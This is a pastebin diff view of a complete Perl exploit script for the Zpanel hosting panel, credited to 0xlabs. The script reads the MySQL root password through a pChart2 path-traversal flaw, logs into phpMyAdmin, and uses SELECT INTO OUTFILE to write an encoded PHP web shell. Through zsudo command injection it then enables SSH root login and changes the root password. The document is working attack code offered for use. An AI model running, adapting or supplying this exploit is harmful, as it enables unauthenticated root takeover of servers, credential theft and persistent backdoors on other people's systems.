View difference between Paste ID: vYGtKqUq and y5Pf4Yms

 #!/usr/bin/perl
 #********************************************************************************
 #
 #
 #                Unauthenticated Zpanel Remote Root Exploit
 #                            [email protected]
 #                         http://www.0xlabs.com
 #
 #
 #********************************************************************************
 
 
 use LWP::UserAgent;
 
 $FILE_DISCLOSURE = "etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php";
 $PMA_PATH        = "etc/apps/phpmyadmin/index.php";
 $PMA_DOCROOT     = "etc/apps/phpmyadmin/import.php";
 
 print "\n\n";
 print "\t================================\n";
 print "\t[  Zpanel Remote Root Exploit  ]\n";
 print "\t[     By japp\@0xlabs.com       ]\n";
 print "\t[       www.0xlabs.com         ]\n";
 print "\t================================\n\n";
 
 
 my $argc = @ARGV;
 
 if ( $argc != 1 )
 {
         print " [*] Usage: ".$0." <http://localhost/zpanel/>\n";
         exit 1;
 }
 
 my $ua = http_handler();
 my $url = $ARGV[0];
 
 if ( $url !~ /^http/ ){ $url = "http://".$url; }
 if ( $url !~ /\/$/ )  { $url .= "/"; }
 
 print " [*] Trying to get MySQL root password...\n";
 my $root_pass = GetPasswd ($url, $ua);
 print " [+] Mysql root password: ".$root_pass."\n";
 
 print " [*] Trying to access through phpMyAdmin...\n";
 my $token = AccessPma ($root_pass, $url, $ua);
 print " [+] Login successfully\n";
 
 print " [*] Getting Zpanel document root...\n";
 my $docroot = GetDocRoot ($token, $url, $ua);
 print " [+] Zpanel document root: ".$docroot."\n";
 
 print " [*] Uploading shell...\n";
 UploadShell ($token, $docroot, $url, $ua);
 print " [+] Shell uploaded successfully!\n";
 
 print " [+] Enabling SSH root login\n";
 EnableRoot ($url, $ua);
 
 print " [*] Changing root password...\n";
 ChangePasswd ($url, $ua);
 
 print " [+] Root password changed\n\n";
 print " [!] Now you can login through SSH. Root password is '0xlabs'\n\n";
 
 sub ChangePasswd
 {
         my $url     = $_[0];
         my $ua      = $_[1];
 
         my $rsp = $ua->get ($url."0xlabs.php?c=cd bin;./zsudo \"root:0xlabs\'\" \"|/usr/sbin/chpasswd;%23\"");
 }
 
 sub EnableRoot
 {
         my $url     = $_[0];
         my $ua      = $_[1];
 
         my $rsp = $ua->get ($url."0xlabs.php?c=cd bin;./zsudo \"\';sed -i \'s-PermitRootLogin no-PermitRootLogin yes-g\'\" \"/etc/ssh/*hd_config %23\"");
 
 }
 
 sub UploadShell
 {
         my $token   = $_[0];
         my $docroot = $_[1];
         my $url     = $_[2];
         my $ua      = $_[3];
 
         my %pdata;
 
         $pdata{"token"}         = $token;
         $pdata{"sql_query"}     = "SELECT '<?php eval(base64_decode(\"cGFzc3RocnUoJF9HRVRbImMiXSk7\"));?>' INTO OUTFILE '".$docroot."0xlabs.php'";
         $pdata{"ajax_request"}  = "true";
 
         http_post ($url.$PMA_DOCROOT, $ua, %pdata);
 
         my $rsp = $ua->get ($url."0xlabs.php?c=echo 0xlabs_rulz");
 
         if (!$rsp->is_success)
         {
                 die (" [-] Can't locate uploaded shell at '".$url."0xlabs.php'\n");
         }
         my $cont = $rsp->content;
 
         if ( $cont !~ /0xlabs_rulz/ )
         {
                 die (" [-] Can't validate uploaded shell. Check manually: ".$url."0xlabs.php?c=dir\n");
         }
 }
 
 sub GetDocRoot
 {
         my $token   = $_[0];
         my $url     = $_[1];
         my $ua      = $_[2];
 
         my %pdata;
 
         $pdata{"token"}         = $token;
         $pdata{"sql_query"}     = "SELECT so_value_tx FROM zpanel_core.x_settings WHERE so_name_vc='zpanel_root'";
         $pdata{"ajax_request"}  = "true";
 
         my $cont = http_post ($url.$PMA_DOCROOT, $ua, %pdata);
 
         $cont =~ /class=\"data grid_edit\s*">([^<]+)<\/td>/;
 
         return $1;
 }
 
 sub AccessPma
 {
         my $root_pass   = $_[0];
         my $url         = $_[1];
         my $ua          = $_[2];
 
         my %pdata;
 
         my $rsp = $ua->get ($url.$PMA_PATH);
 
         if (!$rsp->is_success) {
                 die (" [-] Can't access to phpMyAdmin at '".$url.$PMA_PATH."'\n");
         }
 
         my $cont = $rsp->content;
 
         $cont =~ /name=\"token\" value=\"(.+)\"/;
 
         my $token = $1;
 
         $pdata{"pma_username"}          = "root";
         $pdata{"pma_password"}          = $root_pass;
         $pdata{"server"}                = "1";
         $pdata{"lang"}                  = "en";
         $pdata{"collation_connection"}  = "utf8_general_ci";
         $pdata{"token"}                 = $token;
 
         $cont = http_post ($url.$PMA_PATH, $ua, %pdata);
 
         if ( $cont =~ /Cannot log in to the MySQL server/ )
         {
                 die (" [-] Cannot log in to phpMyAdmin\n");
         }
 
         $cont =~ /\?token=(.+)\"/;
 
         return $1;
 }
 
 
 
 sub GetPasswd
 {
         my $url = $_[0];
         my $ua  = $_[1];
 
 
         my $rsp = $ua->get ($url.$FILE_DISCLOSURE);
 
         if (!$rsp->is_success) {
                 die (" [-] Can't get '".$url."'. Check URL.\n");
         }
 
         my $cont = $rsp->content;
 
         if ( $cont !~ /root/ )
         {
                 die (" [-] Can't get root password. Patched?\n");
         }
 
         my $flag = 0;
         while ( $cont =~ /#DD0000\">[\'\"]+([^\"^\']+)[\'\"]+/g )
         {
                 $flag++;
                 if ( $flag == 4 )
                 {
                         return $1;
                 }
         }
 
  }
 
 sub http_post
 {
                 my ($host, $ua, %data)  = @_;
 
                 my $rsp                 = $ua->post ($host, [%data]);
 
                 return ($rsp->content);
 }
 
 sub http_handler
 {
                 my $newhandler          = LWP::UserAgent->new() or return -1;
 
                 $newhandler->agent ("Mozilla/5.0 (Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6");
                 $newhandler->timeout(10);
                 $newhandler->protocols_allowed(['http','https']);
                 $newhandler->cookie_jar( {} );
 
                 push @{ $newhandler->requests_redirectable }, 'GET';
                 push @{ $newhandler->requests_redirectable }, 'POST';
 
                 return $newhandler;
 }